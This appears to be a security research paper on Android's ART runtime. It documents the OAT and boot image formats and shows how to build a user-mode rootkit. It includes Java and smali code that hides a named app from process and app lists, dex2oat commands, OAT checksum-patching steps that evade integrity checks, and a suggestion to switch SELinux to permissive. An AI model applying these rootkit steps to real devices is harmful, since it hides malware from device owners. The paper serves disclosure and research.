Hiding Behind ART

Paul Sabanal
IBM X-Force Advanced Research
paul[dot]sabanal[at]ph[dot]ibm[dot]com
pv[dot]sabanal[at]gmail[dot]com
@polsab

Abstract

The introduction of the new Android Runtime (ART) brings several improvements in Android. But as with any new technology it also brings new ways to conduct or enhance malicious activities. In this presentation we will talk about one of those ways.

Once an attacker or malware has gained access to the Android device, the next step is to find ways to hide itself and gain persistence, and this is usually achieved by installing a rootkit. The majority of these rootkits are kernel mode rootkits and the common way of achieving persistence is by modifying files in the system partition. However, recent advancements in Android security such as verified boot has made this increasingly difficult. This presentation will demonstrate how to go around this difficulty by taking the game out of kernel mode and out of the system partition. We will show you how to take advantage of the mechanisms of ART to create a user mode rootkit.

We will start with a discussion of past Android rootkit research and how these techniques have become increasingly difficult to use in modern Android systems. Then we will go deep into ART internals where we will discuss the file formats and mechanisms relevant to rootkit creation. After we have understood the mechanisms involved, we will then discuss methods of crafting the rootkit i.e. what to change, where to find them, how to change them, and techniques on gaining persistence on the system. We will also talk about the limitations of this approach and possible future work in this area.

The talk will conclude with a live demonstration of an ART rootkit.

Introduction

One of the latest security enhancements added to Android is a feature called dm-verity[1]. First introduced in Kitkat, this feature allows the kernel to verify the integrity of a partition upon boot, thus ensuring that this partition has not been tampered with. It protects the device from rootkits that add or modify binaries in the system partition to maintain access. For an excellent explanation of this feature, please refer to the article by Nikolay Elenkov[2].

One of the main motivations for this paper is to determine if an attacker who wants to install a rootkit can do so without having to deal with the complications brought upon by dm-verity. While at the time of writing dm-verity is not yet a default feature, it's always good to know early on what an attacker can possibly do despite of the protections in place. We needed to see whether it is possible to conduct rootkit operations without touching the system partition, thus avoiding the protection offered by dm-verity.

The approach we took in this research is to take advantage of the mechanisms of the new Android runtime (ART) to modify framework or application code with code of our own, without touching the system partition.

The techniques described in this paper assume that the attacker already has root shell access ("soft root") on the target device, and were conducted on a Nexus 7 2012 Wifi ("grouper") tablet with a stock Android 5.1, unless otherwise stated.

[1] https://source.android.com/devices/tech/security/secureboot/index.html
[2] http://nelenkov.blogspot.com/2014/05/using-kitkat-verified-boot.html
[2] http://nelenkov.blogspot.com/2014/05/using-kitkat-verified-boot.html

ART Overview

Before we discuss about rootkits let's first look at a high-level overview of the ART's architecture and mechanisms. Keep in mind that we won't go into the deeper details of ART's compilation and code generation, but focus more on the aspects of ART relevant to later discussions. It would help if the reader already has some familiarity with the Android operating system. Prior knowledge of Dalvik, the DEX file format, and other concepts is helpful in understanding this section. We highly recommend the following excellent references if not yet familiar with these concepts.

1. The Android Hacker's Handbook by Joshua Drake, et al.
2. Android Internals by Jonathan Levin [3].
3. Android Security Internals by Nikolay Elenkov[4].
4. Embedded Android by Karim Yaghmour.
5. Official Android documentation[5].

An experimental version of ART was first introduced in Kitkat back in October 2013, where you can choose whether to use it or the Dalvik runtime. Starting from Lollipop, ART becamse the default runtime. The main advantage of ART over Dalvik is better app performance due to ahead-of-time compilation.

Ahead-of-time Compilation

While Dalvik relied on interpretation and JIT compilation, ART pre-compiles apps Dalvik bytecode into native code.

All apps will be compiled every time the device's system is upgraded, or the first time you boot it up after purchase. Individual apps are compiled upon installation.

The command responsible for compiling an application Into OAT is dex2oat, which can be found in /system/bin/*dex2oat* supports two types of compiler backends: quick and portable. The backend can be specified through the –compiler-backend parameter passed to dex2oat.

The default backend is Quick. It translates Dalvik bytecode (the medium level intermediate representation or MIR) into a low-level IR (LIR) then into native code, doing some optimizations along the way.

Figure 1 Quick compilation

[3] http://newandroidbook.com/index.php
[4] http://nelenkov.blogspot.com/2014/10/android-security-internals-is-out.html
[5] https://source.android.com/devices/tech/index.html

The Portable backend, on the hand, uses LLVM as its LIR. Optimizations are done using the LLVM optimizer and code generation is done by LLVM backends.

Figure 2 Portable compilation

The resulting OAT file will be generated inside the /data/dalvik-cache/<arch> folder, where arch is the target architecture of the compilation (i.e. architecture of the device).

For more details about ART, check out this talk from Google[6].

ART Image File Format

The image file (boot.art) contains pre-initialized classes and objects from the framework JARS. This image file is placed right before the boot.oat in memory. Code in the compiled OATs directly links to this image to call methods in the framework or to access the pre-initialized objects.

Image Header

Field	Type	Description
magic	ubyte[4]	Magic value. “art\n”
version	ubyte[4]	Image version
image_begin	uint32	Base address of the image
image_size	uint32	The size of the image
image_bitmap_offset	uint32	Offset to a bitmap
image_bitmap_size	uint32	Size of the image bitmap
oat_checksum	uint32	Checksum of the linked boot.oat file
oat_file_begin	uint32	Address of the linked boot.oat file
oat_data_begin	uint32	Address of the linked boot.oat file’s oatdata
oat_data_end	uint32	End address of the linked boot.oat file’s oatdata
oat_file_end	uint32	End address of the linked boot.oat file
patch_delta	int32	Image relocated address delta
image_roots	uint32	Address of an array of objects
compile_pic	uint32	Indicates if image was compiled with position-independent-code enabled

The image header starts with the *magic* “art\n” followed by the *version*, which is “012 “ at the time of writing. It is then followed by fields that describe the linked OAT file (boot.oat). *patch_delta* is the amount

[6] https://www.youtube.com/watch?v=EBlTzQsUoOw

the base address of the image is relocated (as mentioned in the OAT header section). *image_roots* is an address of an array of objects needed to re-initialized.

OAT File Format

In this section we will describe the OAT file format. The discussion here involves the ELF and DEX file formats as well, and assumes the reader is familiar with both. If not, you can refer to this[7] document for ELF, and this document from Google[8] for DEX. All the information from this section can be found in the AOSP source code, under the art folder. Here are the files of interests:

- dex2oat/dex2oat.cc
- runtime/oat.h
- runtime/oat.cc
- runtime/oat_file.h
- runtime/oat_file.cc
- runtime/image.h
- runtime/image.cc

An OAT file is an ELF shared object file with sections containing OAT data. The OAT data contains headers describing the structure of the OAT file, as well as DEX code and the compile native code. The ELF file has three dynamic symbol tables named oatdata, oatexec, and oatlastword. These entries tell us which sections contain the corresponding OAT data. Here is an example of the a dynamic symbol in .oat ELF file:

▼ struct dynamic_symbol_table	
▶ struct Elf32_Sym symtab[0]	[U] <Undefined>
▼ struct Elf32_Sym symtab[1]	oatdata
▶ struct sym_name32_t sym_name	oatdata
Elf32_Addr sym_value	0x00001000
Elf32_Xword sym_size	892928
▶ struct sym_info_t sym_info	STB_GLOBAL | STT_OBJECT
unsigned char sym_other	0
Elf32_Half sym_shndx	4
▶ char sym_data[892928]	
▼ struct Elf32_Sym symtab[2]	oatexec
▶ struct sym_name32_t sym_name	oatexec
Elf32_Addr sym_value	0x000DB000
Elf32_Xword sym_size	605104
▶ struct sym_info_t sym_info	STB_GLOBAL | STT_OBJECT
unsigned char sym_other	0
Elf32_Half sym_shndx	5
▶ char sym_data[605104]	
▼ struct Elf32_Sym symtab[3]	oatlastword
▶ struct sym_name32_t sym_name	oatlastword
Elf32_Addr sym_value	0x0016EBAC
Elf32_Xword sym_size	4
▶ struct sym_info_t sym_info	STB_GLOBAL | STT_OBJECT
unsigned char sym_other	0
Elf32_Half sym_shndx	5
▶ char sym_data[4]	ðGõç

[7] http://www.skyfree.org/linux/references/ELF_Format.pdf
[8] https://source.android.com/devices/tech/dalvik/dex-format.html

These sections contains the following:

- *oatdata* - Contains the OAT headers and the embedded original DEX file.
- *oatexec* - Contains the generated native code for the compiled methods.
- *oatlastword* - Used as an end marker and contains the last 4 bytes of the generated native code.

The *sym_value field* of the symbol table entry tells us where to find each section. Alternatively, you can locate the oatdata in the .rodata section, and oatexec combined with oatlastword in the .text section. These sections are placed right after the other and are treated as one single blob, which for simplicity's sake we are going to refer to in the rest of this paper as oatdata. All the offset fields (e.g. *executable_offset*, *code_offset*, etc) in the headers described below are relative to the start of this blob.

OAT Header

Field	Type	Description
magic	ubyte[4]	Magic value. "oat\n"
version	ubyte[4]	OAT version.
adler32_checksum	uint32	Adler-32 checksum of the OAT header
instruction_set	uint32	Instruction set architecture
instruction_set_features	uint32	Bitmask of supported features per architecture
dex_file_count	uint32	Number of DEX files in the OAT
executable_offset	uint32	Offset of executable code section from start of oatdata
interpreter_to_interpreter_bridge_offset	uint32	offset from oatdata start to interpreter_to_interpreter_bridge stub
interpreter_to_compiled_code_bridge_offset	uint32	offset from oatdata start to interpreter_to_compiled_code_bridge stub
jni_dlsym_lookup_offset_	uint32	offset from oatdata start to jni_dlsym_lookup stub
portable_imt_conflict_trampoline_offset	uint32	offset from oatdata start to portable_imt_conflict_trampoline stub
portable_resolution_trampoline_offset	uint32	offset from oatdata start to portable_resolution_trampoline stub
portable_to_interpreter_bridge_offset	uint32	offset from oatdata start to portable_to_interpreter_bridge stub
quick_generic_jni_trampoline_offset	uint32	offset from oatdata start to quick_generic_jni_trampoline stub
quick_imt_conflict_trampoline_offset	uint32	offset from oatdata start to quick_imt_conflict_trampoline stub
quick_resolution_trampoline_offset	uint32	offset from oatdata start to quick_resolution_trampoline stub
quick_to_interpreter_bridge_offset	uint32	offset from oatdata start to quick_to_interpreter_bridge stub
image_patch_delta	int32	The image relocated address delta
image_file_location_oat_checksum	uint32	Adler-32 checksum of boot.oat's header
image_file_location_oat_data_begin	uint32	The virtual address of boot.oat's oatdata section
key_value_store_size	uint32	The length of key_value_store

key_value_store	ubyte[key_value_store_size]	A dictionary containing information such as the command line used to generate this oat file, the host arch, etc.

The OAT header describes the overall structure of the OAT data. It starts with the *magic* field "oat\n" followed by the current version of the OAT file format, which is at the time of writing, is "045\0". *adler32_checksum* is the checksum of the fields in the OAT header. The *instruction_set* field indicates the instruction set architecture used as the target for compilation. The supported architectures are:

Instruction Set	Value	Description
kNone	0	Unspecified
kArm	1	ARM
kArm64	2	ARM 64-bit
kThumb2	3	Thumb-2
kX86	4	X86
X86_64	5	X64
kMips	6	MIPS
kMips64	7	MIPS 64-bit

dex_file_count is the number of DEX files in the input APK or JAR. *executable_offset* points to the generated native code section (Same as the oatexec section in the ELF's dynamic symbol table). *image_patch_delta* is the amount the ART image (boot.art) is relocated relative to its *image_begin* field. This field changes every boot up so that the address of the ART image will not be in a fixed location. Prior to Lollipop, the base address was fixed at 0x70000000, and can be possible used to defeat ASLR or have its oatexec section, which contains a huge amount of native code, used as source for ROP gadgets[9]. The *key_value_store* is a dictionary that stores metadata about the OAT file such as the parameters used in dex2oat upon its creation. The rest of the fields *(*_trampoline_offset*, **_bridge_offset*, etc) are used at runtime, and are often set to zero.

OAT Dex File Header

Field	Type	Description
dex_file_location_size	uint32	Length of the original input DEX path
dex_file_location_data	ubyte[*dex_file_location_size*]	Original path of input DEX file
dex_file_location_checksum	uint32	CRC32 checksum of classes.dex
dex_file_pointer	uint32	Offset of embedded input DEX from start of oatdata
classes_offsets	uint32[*DEX.header.class_defs_size*]	List of offsets to OATClassHeaders

Immediately after the Oat Header is an array of OatDexFileHeaders, with each entry representing each DEX file inside the target APK or JAR file. The *dex_file_location_data* field contains the path of the APK

[9] http://bofh.nikhef.nl/events/HitB/hitb-2014-amsterdam/praatjes/D1T2-State-of-the-Art-Exploring-the-New-Android-KitKat-Runtime.pdf

that this OAT file is compiled from. *dex_file_location_checksum* is the CRC32 checksum of the DEX file. It is used to verify that the APK in *dex_file_location_data* is the same DEX used for this OAT file. The entire DEX file can also be found embedded in the oatdata section in the offset pointed to by *dex_file_pointer*. To carve the DEX file from the OAT, we can go to this location, get the size of the DEX file from (dex_file_pointer + 0x20), and retrieve it. *classes_offsets* is an array of offsets to OatClass headers (described below). Each class offset corresponds to a *class_def_item* in the DEX file, and appears in the same order.

Oat Class Header

Field	Type	Description
status	uint16	State of class during compilation
type	uint16	Type of class
bitmap_size	uint32	Size of compiled methods bitmap (present only when *type* = 1)
bitmap	ubyte[*bitmap_size*]	Compiled methods bitmap (present only when *type* = 1)
methods_offsets	uint32[variable]	List of offsets to the native code for each compiled method

The OatClass contains information about classes. The *status* field is used during compilation. The *type* field is a value indicating how much of this class's methods are compiled, as described below:

Type	Constant Value	Description
kOatClassAllCompiled	0	All methods in the class are compiled.
kOatClassSomeCompiled	1	Some methods are compiled.
kOatClassNoneCompiled	2	No methods were compiled.

The *bitmap* field is a bitmap of length *bitmap_size* bytes where each bit indicates whether a particular method is compiled or not. Each bit corresponds to a method in the class. If *type* is either kOatClassAllCompiled or kOatClassNoneCompiled, there will be no *bitmap_size* and *bitmap* fields present and *type* is immediately followed by the *method_offsets*. If type is kOatClassSomeCompiled, it means at least one but not all methods are compiled. In this case, the *method_offsets* come right after the bitmap. Each bit in the bitmap, starting from the least significant bit, corresponds to a method in this class - direct_methods first, followed by virtual_methods. They are in the same order as they appear in the *class_data_item* of this class. For every set bit, there will be a corresponding entry in *method_offsets*.

method_offsets is a list of offset that points to the generated native code for each compiled method. Note that for OAT files with *OATHeader->instruction_set* is kThumb2 (which the majority of the OAT files you will encounter will likely be), the method offsets will have their least significant bit set. For instance, if the offset is 0x00143061, the actual start of the native code is at offset 0x00143060.

Oat Quick Method Header

Right before (*code_offset* - 0x1c bytes) the method's native code is the OatQuickMethod header, which is generated for Quick backend compiled code. It contains information such as the frame size in bytes and the mapping between registers and instruction pointers in the native code and Dalvik bytecode. It also contains the size in bytes of the generated native code.

Field	Type	Description
mapping_table_offset	uint32	Offset from the start of the mapping table
vmap_table_offset	uint32	Offset form the start of the vmap table
gc_map_offset	uint32	Offset to the GC map
QuickMethodFrameInfo.frame_size_in_bytes	uint32	Frame size for this method when executed
QuickMethodFrameInfo.core_spill_mask	uint32	Bitmap of spilled machine registers
QuickMethodFrameInfo.fp_spill_mask	uint32	Bitmap of spilled floating point machine registers
code_size	uint32	The size of the generated native code

User Mode Rootkits

The approach we took is to use dex2oat to generate OAT files from modified versions of installed apps or system frameworks and replace the original OAT files with them. We have two options:

1. Generate new boot.art and boot.oat that contains our own code and replace the installed boot.oat with it.
2. Generate a new OAT file that contains our own code for a specific installed application and replace the installed OAT file.

There are several advantages to this approach. One is we don't have to deal with low-level code. All our modifications are done in Java and only runs in the user mode so there will be less potential problems to be encountered compared to code that deals with low level kernel stuff. This approach is also affected less by variations in architecture and OS version. Because we rely on ART's features to generate our code, this approach requires almost no modifications regardless of the target's architecture or OS version. Lastly, with this approach we don't have to deal with code signing since the application were already installed and verified. All we do is modify the app's code that is now brought outside of the application's package.

Also, note that whichever technique we employ, our code will run under the context of the affected app. This means that our code will have the same user id and app permissions as the app running our code. For instance, if we use the app OAT replacing technique and replaced the OAT for the Settings app, our code will run in the context of the system user, along with the app permissions of the Settings app.

How about persistence? As long as our modified OAT file is in use, our modification will stay in effect. The OAT files will only be replaced after OTA update or app update. Upon OS update, boot.art and boot.oat will have to be regenerated and all the app OAT files will have to be recompiled as well. When an app is updated it has to be recompiled as well. Keep in mind that our goal is not to maintain root access, as we are trying to avoid writing to /system in the first place. We do have the option to re-exploit the device using a system to root exploit while our code is running as system uid. How to do this is left as an exercise for the reader.

Replacing Boot OAT

This approach takes advantage of the fact that framework code are all compiled into a single boot.oat file that we can replace with our own modified copy. The dex2oat tool does code generation for us, so we don't have to worry about messing something up by patching the binary. A matching boot.art will also be generated.

Basically, what we are going to do is modify a system framework JAR file, replace the target code with our own, and use dex2oat to generate a new boot.oat and replace the original one.

A typical rootkits goal is to hide our installed malicious application or process. Here are some examples of suitable methods to modify:

What to hide	Class	Method	Source	JAR
Running processes	ActivityManager	getRunningAppProcesses	/frameworks/base/core/java/android/app/ActivityManager.java	framework.jar
Installed apps	ApplicationPackageManager	getInstalledApplications	/frameworks/base/core/java/android/app/ApplicationPackageManager.j	framework.jar

			ava	
Files	File	filenamesToFiles	/libcore/luni/src/main/java/java/io/File.java	core-libart.jar

As an example, let's take a look at how we would modify a framework method to hide our running process. To do this, we can modify the getRunningAppProcesses() method of the ActivityManager class. This method returns a list of RunningAppProcessInfo, which contains information about a running process, including its name. This method is used to by apps like the Settings app in Android to enumerate the running processes on the device and display them on a list. Here's the code for this method, which can be found in "/frameworks/base/core/java/android/app/ActivityManager.java":

```
public List<RunningAppProcessInfo> getRunningAppProcesses() {
    try {
        return ActivityManagerNative.getDefault().getRunningAppProcesses();
    } catch (RemoteException e) {
        return null;
    }
}
```

We modified it to remove our app from the list based on its package name:

```
public List<RunningAppProcessInfo> getRunningAppProcesses() {
    try {

        List<RunningAppProcessInfo> procList =
ActivityManagerNative.getDefault().getRunningAppProcesses();

        for (Iterator<RunningAppProcessInfo> iter = procList.listIterator();
iter.hasNext();) {
            RunningAppProcessInfo p = iter.next();
            if (p.processName.equals("com.polsab.badapp")) {
                iter.remove();
            }

        }

        return procList;
    } catch (RemoteException e) {
        return null;
    }
}
```

We then build this code to generate our modified version of framework.jar. As much as possible we should not use this directly as the source JAR for dex2oat, as that will cause unpredictable errors due to mismatching with other files. Instead, we will retrieve the original JAR from the device and apply the modifications we did to the code within it. We only use the modified framework.jar as a source for our modified code's smali.

We then use Apktool to decode this JAR into smali code, and retrieve the smali for our modified method:

```
.method public getRunningAppProcesses()Ljava/util/List;
    .locals 6
    .annotation system Ldalvik/annotation/Signature;
        value = {
            "()",
            "Ljava/util/List",
            "<",
            "Landroid/app/ActivityManager$RunningAppProcessInfo;",
            ">;"
        }
```

```
    .end annotation

    .prologue
    .line 2223
    :try_start_0
    invoke-static {}, Landroid/app/ActivityManagerNative;-
>getDefault()Landroid/app/IActivityManager;

    move-result-object v4

    invoke-interface {v4}, Landroid/app/IActivityManager;-
>getRunningAppProcesses()Ljava/util/List;

    move-result-object v3

    .line 2224
    .local v3,
procList:Ljava/util/List;,"Ljava/util/List<Landroid/app/ActivityManager$RunningAppProcessI
nfo;>;"
    invoke-interface {v3}, Ljava/util/List;->listIterator()Ljava/util/ListIterator;

    move-result-object v1

    .local v1,
iter:Ljava/util/Iterator;,"Ljava/util/Iterator<Landroid/app/ActivityManager$RunningAppProc
essInfo;>;"
    :cond_0
    :goto_0
    invoke-interface {v1}, Ljava/util/Iterator;->hasNext()Z

    move-result v4

    if-eqz v4, :cond_1

    .line 2225
    invoke-interface {v1}, Ljava/util/Iterator;->next()Ljava/lang/Object;

    move-result-object v2

    check-cast v2, Landroid/app/ActivityManager$RunningAppProcessInfo;

    .line 2226
    .local v2, p:Landroid/app/ActivityManager$RunningAppProcessInfo;
    iget-object v4, v2, Landroid/app/ActivityManager$RunningAppProcessInfo;-
>processName:Ljava/lang/String;

    const-string v5, "com.polsab.baddapp"

    invoke-virtual {v4, v5}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z

    move-result v4

    if-eqz v4, :cond_0

    .line 2227
    invoke-interface {v1}, Ljava/util/Iterator;->remove()V
    :try_end_0
    .catch Landroid/os/RemoteException; {:try_start_0 .. :try_end_0} :catch_0

    goto :goto_0

    .line 2231
    .end local v1
#iter:Ljava/util/Iterator;,"Ljava/util/Iterator<Landroid/app/ActivityManager$RunningAppPro
cessInfo;>;"
    .end local v2           #p:Landroid/app/ActivityManager$RunningAppProcessInfo;
```

```
    .end local v3
#procList:Ljava/util/List;,"Ljava/util/List<Landroid/app/ActivityManager$RunningAppProcess
Info;>;"
    :catch_0
    move-exception v0

    .line 2232
    .local v0, e:Landroid/os/RemoteException;
    const/4 v3, 0x0

    .end local v0           #e:Landroid/os/RemoteException;
    :cond_1
    return-object v3
.end method
```

We then replace the code in the framework.jar on the device with our modified one. We retrieve the JAR from the device and use Apktool to decode this into smali code. Then we look for our target method, which originally looks like this:

```
.method public getRunningAppProcesses()Ljava/util/List;
    .locals 2
    .annotation system Ldalvik/annotation/Signature;
        value = {
            "()",
            "Ljava/util/List",
            "<",
            "Landroid/app/ActivityManager$RunningAppProcessInfo;",
            ">;"
        }
    .end annotation

    .prologue
    .line 2222
    :try_start_0
    invoke-static {}, Landroid/app/ActivityManagerNative;-
>getDefault()Landroid/app/IActivityManager;

    move-result-object v1

    invoke-interface {v1}, Landroid/app/IActivityManager;-
>getRunningAppProcesses()Ljava/util/List;
    :try_end_0
    .catch Landroid/os/RemoteException; {:try_start_0 .. :try_end_0} :catch_0

    move-result-object v1

    .line 2224
    :goto_0
    return-object v1

    .line 2223
    :catch_0
    move-exception v0

    .line 2224
    .local v0, "e":Landroid/os/RemoteException;
    const/4 v1, 0x0

    goto :goto_0
.end method
```

Then we replace this smali code with our modified version shown above and rebuild the JAR using Apktool.

The next step is to push the modified JAR into our device and use dex2oat to compile it. Before we do this however, we need to do something first. ART checks the OatDexFile headers of each included DEX file to see if the *dex_file_location_data* and *dex_file_location_checksum* matches the JAR's install location on the device and the CRC32 of the corresponding DEX file. If the check fails, ART will regenerate the OAT file from the original JAR on the device. To get around this check, we need to patch *dex_file_location_data* and *dex_file_location_checksum* accordingly.

All this could obviously be automated, but here's how to do it manually. It assumes you already have the modified smali code of your target method at hand:

1. Pull the original JAR from the /system/frameworks/ folder.
2. Use apktool to decode the JAR and generate smali code.
3. Replace the target method(s) with our modified version.
4. Rebuild the JAR using apktool.
5. Rename the JAR such that the resulting path after you have pushed it to the device is the same length with the path of the original jar in the /system partition. For example, if you modified "/system/framework/framework.jar", which is 31 characters long, rename the modified jar to, say, 11framework.jar, and push it to /data/local/temp, making the resulting path "/data/local/tmp/11framework.jar", which is exactly 31 characters long. We need to do this so that when we patch the generated OAT later, we don't need to worry about relocating offsets.
6. Get the CRC32 of the classes.dex file in the original framework.jar. We will need this later.
7. Delete the original boot.oat
8. Run the dex2oat command using the exact commandline used in the original boot.oat, which you can retrieve from the *key_value_store* field of its OAT header, but replacing all references to framework.jar with our modified framework.jar. Here's an example of what it would look like:

```
/system/bin/dex2oat --image=/data/dalvik-cache/arm/system@framework@boot.art --dex-
file=/system/framework/core-libart.jar --dex-file=/system/framework/conscrypt.jar --dex-
file=/system/framework/okhttp.jar --dex-file=/system/framework/core-junit.jar --dex-
file=/system/framework/bouncycastle.jar --dex-file=/system/framework/ext.jar --dex-
file=/data/local/tmp/11framework.jar --dex-file=/system/framework/telephony-common.jar --
dex-file=/system/framework/voip-common.jar --dex-file=/system/framework/ims-common.jar --
dex-file=/system/framework/mms-common.jar --dex-file=/system/framework/android.policy.jar
--dex-file=/system/framework/apache-xml.jar --oat-file=/data/dalvik-
cache/arm/system@framework@boot.oat --instruction-set=arm --instruction-set-
features=default --base=0x6f019000 --runtime-arg -Xms64m --runtime-arg -Xmx64m --image-
classes-zip=/data/local/tmp/11framework.jar --image-classes=preloaded-classes
```

9. Once the boot.oat is generated, patch the *dex_file_location_data* in the OAT DEX File header corresponding to the code you modified with the original path. In framework.jar's case, there are two places where you need to do this. One is for the main DEX, and the other for the 2nd DEX (classes2.dex) Replace the *dex_file_location_checksum,* which can be found right after the path, with the original checksum we retrieved in step 6.
10. Restart Zygote, or restart the device:

```
stop zygote
start zygote
```

11. If all goes well, your installed apps will be recompiled into new OAT since boot.oat has changed, and the changes will take effect.

Replacing App OAT

In this technique, we replace a specific app's OAT instead of a framework JAR. It is less intrusive, which means less unpredictable problems, and if ever, will happen only to that particular app. Also, with the previous approach, all apps will be recompiled so it is noticeable to the user, but recompiling a single app, like what will happen here, is not The downside is it only works on apps you target specifically and your modifications are lost once the app is updated, which happens more frequently (especially for non-system apps) compared to the boot.oat approach, where we only have to worry about much less frequent system updates.

One nice target for this technique is the Settings application that comes with Android, which can be used to view running processes and installed applications. You can find the original APK at "/system/priv-app/Settings/Settings.apk". The source code can also be found in the AOSP source tree under "packages/apps/Settings". We can look for code that uses the ideal target methods we mentioned above and modify the code the uses them. For instance, we can look for the code that calls getRunningAppProcesses() and modify the returned RunningAppProcessInfo list. Here's the code from "packages/apps/Settings/src/com/android/settings/applications/RunningState.java":

```
        List<ActivityManager.RunningAppProcessInfo> processes
                = am.getRunningAppProcesses();

        for (Iterator<ActivityManager.RunningAppProcessInfo> iter =
processes.listIterator(); iter.hasNext();) {
            ActivityManager.RunningAppProcessInfo p = iter.next();

            if (p.processName.equals("com.polsab.badapp")) {
                iter.remove();
            }

        }
```

We can also modify the code that calls getInstalledApplications() to remove our target app from the installed apps list . This code is from "packages/apps/Settings/src/com/android/settings/applications/ApplicationState.java":

```
        mApplications = mPm.getInstalledApplications(mRetrieveFlags);
        if (mApplications == null) {
            mApplications = new ArrayList<ApplicationInfo>();
        }

        for (Iterator<ApplicationInfo> iter = mApplications.listIterator();
iter.hasNext();) {
            ApplicationInfo a = iter.next();

            if (a.processName.equals("com.polsab.badapp")) {
                iter.remove();
            }

        }
```

The steps involved are similar to the previous one with a few differences.:

1. Retrieve the original APK.

2. Use apktool to decode the APK and generate smali code.
3. Modify the target methods.
4. Rebuild the APK using Apktool.
5. Rename the APK such that the resulting path after you have pushed it to the device is of the same length as the path of the original APK on the device. For example, for "/system/priv-app/Settings/Settings.apk", which is 38 characters long, rename the modified APK to 1111111111Settings.apk, and push it to /data/local/temp, making the resulting path "/data/local/tmp/1111111111Settings.apk", which is exactly 38 characters long.
6. Calculate the CRC32 checksum of the classes.dex in the original APK. We will need this later.
7. Delete the original OAT file for this app.
8. Run the dex2oat command with the –dex-file parameter set to our modified APK's path and the –oat-file parameter set to the original OAT file's path. For example:

```
dex2oat –dex-file=/data/local/temp/1111111111Settings.apk –oat-file=/data/dalvik-
cache/arm/system@priv-app@Settings@Settings.apk@classes.dex
```

9. Once the OAT file is generated, patch the *dex_file_location_data* in the OAT DEX File header with the path of the original APK. Replace the *dex_file_location_checksum,* which can be found right after the path, with the original checksum we calculated in step 6.
10. Stop the app process if it is running:

```
am force-stop com.android.settings
```

11. The changes will take effect the next time the app is run.

Other Possible Approaches

When we first started this research the main approach we attempted was to either patch the boot.oat binary or attaching to the Zygote and patch boot.oat directly in memory. The idea is to hook the generated native code methods and divert execution to our own code. This seemed the most obvious approach at the time but proved to be rather difficult and lead to unstable results. However, we believe these techniques still warrant further exploration and are still being actively researched.

Limitations

This approach has several limitations. One is that we can't hide from lower-level code or code that does not use the system framework to display the things that we want to hide. Also, SELinux may deter us from doing the above techniques if policies on the device prevent us from doing any of the steps. However, if we can set SELinux to permissive mode, even temporarily (just as we are doing the above steps), even if it goes back to enforcing mode after a reboot, our changes will still take effect. Lastly, even though this was cited as an advantage earlier, having to run under the context of an affected app also binds our code to that app's permissions. We can overcome this by using this rootkit solely for the purpose of hiding the presence of another malicious app that has the permissions required to do what we want.

Conclusion

In this paper, we demonstrated that it is possible to create user mode rootkits by replacing the ART generated native code with our own. These techniques still have limitations, and development on ART (as evidenced in the AOSP repository) indicates that it is actively being worked on, so these techniques may not work in the future anymore. But this is also part of the challenge of doing security research, so expect us to continue doing research in this area.

There are currently few published security research (and soon to be published at the time of writing[10]) related to ART, but we are looking forward for many more to come. We hope that this paper has helped the reader in understanding ART and some of the security implications it poses, and also we hope that this inspires others to take a look at the possibilities this new runtime has bring, security-wise.

If you have any questions, comments, or corrections, we'd like to hear from you (especially corrections ☺). Please feel free to contact the author at the email addresses shown in the first page. Thanks for reading!

[10] http://conference.hitb.org/hitbsecconf2015ams/sessions/fuzzing-objects-d-art-runtime-internals/